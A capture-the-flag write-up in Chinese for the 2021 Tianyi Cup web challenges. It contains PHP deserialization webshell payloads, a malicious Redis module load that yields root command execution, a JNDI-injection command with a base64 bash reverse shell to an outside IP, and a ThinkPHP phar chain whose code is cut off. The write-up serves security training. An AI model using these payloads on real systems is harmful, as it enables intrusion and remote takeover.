標題:2021第二屆“天翼杯”網絡安全攻防大賽writeup

taibeihacker

Moderator

Web​

1.esay_eval​

?php class A{ public $code=''; function __call($method,$args){ eval($this-code); } function __wakeup(){ $this-code=''; } } class B{ function __destruct(){ echo $this-a-a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/'[BA]':(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit('you want to bypass wakeup ? no !'); } } unserialize($_REQUEST['poc']); } }else{ highlight_file(__FILE__); }
簡單分析一下主要繞過那個__wakeup函數就可以rce了
關於preg_match_all這個函數看這篇文章php preg_match_all()函數介紹與用法- 飛鳥慕魚博客(feiniaomy.com)
最後要讓$ret[1]裡面的兩個變量都等於1,因為他後面還有個intval($i)!==1的限制,(這個用大小寫繞過就行了,因為php的變量名區分大小寫,函數名、方法名、類名不區分大小寫。)因為必須要繞過wakeup,所以用小寫不讓preg_match_all兩個都匹配,放出來一個去繞過wakeup就可以了。
構造payload
?php
class A{
public $code='';
public function __construct(){
$this-code='eval(\$_POST[1]);';
}
}
class B{
public function __construct(){
$this-a=new A();
}
}
echo serialize(new B());
$前面加\是怕序列化的時候執行了變成這樣
1049983-20211224170339728-1967965652.jpg
得到O:1:'B':1:{s:1:'a';O:1:'A':1:{s:4:'code';s:19:'eval($_REQUEST[1]);';}},把A改為小寫,即可修改後面數字來繞過即O:1:'B':1:{s:1:'a';O:1:'a':2:{s:4:'code';s:19:'eval($_REQUEST[1]);';}},連接蟻劍拿到shell
代碼審計,直接反序列化構造一句話木馬
1049983-20211224170340216-581797451.jpg

小寫對象a繞過
payload
?poc=O:1:'B':1:{s:1:'a';O:1:'a':2:{s:4:'code';s:16:'eval($_POST[0]);';}}蟻劍連接發現有disable_function,試了下蟻劍自帶的bypass無果,然後在網站根目錄發現了有config.php.swp vi-r 解一下發現redis 密碼
github 上有redis rce 的惡意so 文件上傳到tmp 目錄下然後用蟻劍redis 插件加載惡意模塊rce
1049983-20211224170340691-681623030.png

Redis加載惡意so獲取shell
蟻劍找到了一個config,恢復一下
1049983-20211224170341050-13255766.png

下載下來丟到linux用vi恢復
vi -r config.php
1049983-20211224170341416-1081333836.jpg

這個redis密碼看著太像假的了,但就是真的,用蟻劍的redis插件連接
1049983-20211224170341920-1119731240.png

接著就是打redis,在phpinfo發現有open_basedir,有個tmp還能用,那就把惡意so傳上去
1049983-20211224170342306-189304732.png
直接用蟻劍
1049983-20211224170342685-131854183.png

使用redis插件連接redis
127.0.0.1:6379 module load /tmp/exppadding.so
OK
127.0.0.1:6379 system.exec 'id'
'uid=0(root) gid=0(root) groups=0(root)\n
1049983-20211224170343111-1023030855.jpg
附上本地環境“:
FROM ubuntu:16.04
COPY src/sources.list /etc/apt/sources.listCOPY src/redis-4.0.9 /home/redis-4.0.9
RUN apt-get update \ apt-get install -y curl \ software-properties-common \ python3-software-properties \ python-software-properties \ unzip \ vim
RUN apt-get install -y apache2RUN service apache2 restart
RUN locale -aRUN export LANG=C.UTF-8 \ add-apt-repository ppa:ondrej/php \ apt-get update
RUN apt-get install -y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7.0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip
RUN apt install -y gcc \ make
RUN cd /home/redis-4.0.9 \ cp -r /home/redis-4.0.9 /usr/local/redis \ cd /usr/local/redis \ make make PREFIX=/usr/local/redis install \ export REDIS_HOME=/usr/local/redis \ export PATH=$PATH:$REDIS_HOME/bin
COPY src /tmp/srcRUN mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini \ rm -rf /var/www/html \ mv /tmp/src/html /var/www/html \ mv /tmp/src/start.sh /start.sh \ chmod +x /start.sh
EXPOSE 80
CMD ['/start.sh']
其中web.ini就是php的配置文件,可以在裡面設置disable_function等

2.jackson​

原題不說了嗷
先看題目給的pom.xml
有shiro1.5.1,cc3.2.1題目名字叫jackson
那麼應該就是shiro驗證繞過訪問路由通過jackson反序列化打cc鏈
發現有json路由需要登陸通過/;/json繞過
1049983-20211224170343802-297338680.jpg
那麼就直接上工具:https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A '47.100.27.114' -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwODggMD4mMQ==}|{base64,-d}|{bash,-i}'或者看到pom.xml裡面的框架版本可以想到CVE-2020-1957
1049983-20211224170344366-502955647.jpg
2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

jackson反序列化+ JNDI注入+ LDAP返回序列化數據觸發本地Gadget Bypass jdk 8u_191限制4
POST /;/json HTTP/1.1
Host: 8.134.37.86:20947
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 97
['ch.qos.logback.core.db.JNDIConnectionSource',{'jndiLocation':'ldap://106.15.250.209:8091/a
bc'}]
1049983-20211224170345373-1153092748.jpg
Nc得到了反彈,直接獲取根目錄的flag即可
1049983-20211224170345764-511421506.jpg

3.ezTP​

通過robots.txt 得到www.zip 源代碼:
1049983-20211224170346158-861591018.jpg

1049983-20211224170346533-592200662.jpg

目錄結構:
1049983-20211224170346908-160724702.jpg

很明顯的TP框架查看版本得到:5.0.10
一開始嘗試TP框架的RCE,無果。遂放棄
然後查看Controller有一個index和admin:
Admin控制器:
1049983-20211224170347332-929303291.jpg

Index控制器:
1049983-20211224170347750-1545368266.jpg

看起來好像沒什麼問題。
但是可以看到,必須要登錄admin才可以進行admin控制器裡面的上傳和列目錄操作
故肯定是要注入,百度搜索到了
該版本的TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html
注入登錄admin賬戶:
1049983-20211224170348174-1770961135.jpg

然後查看admin控制器的listdir 可以發現is_dir函數是可以觸發phar反序列化的。
參考:https://www.anquanke.com/post/id/251318#h2-1
但是會發現使用如上鍊接的poc,與網上的poc均不可用。
本地搭建環境調試了一下,發現:
Process.php的close方法:
1049983-20211224170348643-86495486.jpg

與原來的tp框架不一樣,多增加了一個if來過濾,因為原本的HasMany類並沒有close方法,導致沒辦法調用$this-processPipes-close()方法,就無法進行下面的反序列化寫文件RCE了,所以網上的POC就會沒用。
現在需要做的是需要一個有close方法的類,並且內部需要調用成員變量的close方法。
這樣就可以繞過過濾,並且可以繼續反序列化。
在這裡我找到了Memcache類,
1049983-20211224170349045-894237468.jpg

只要將原來的鍊子接入到$this-handler 變量裡面去,就可以繼續下去反序列化了。
但是通過調試:
1049983-20211224170349452-68844655.jpg

這個path路徑,寫下去找不到文件。所以我改成了絕對路徑,寫到public目錄下
反序列化POC:
?phpnamespace think;use think\session\driver\Memcache;class Process{ private $processPipes;
private $status;
private $processInformation; public function __construct(){ $this-processInformation['running']=true; $this-status=3; $this-processPipes=(new Memcache(1)); }
}namespace think;class Model{
}namespace think\model;
use think\Model;class Merge extends Model{ public $a='1'; public function __construct(){ }}namespace think\model\relation;use think
 
返回
上方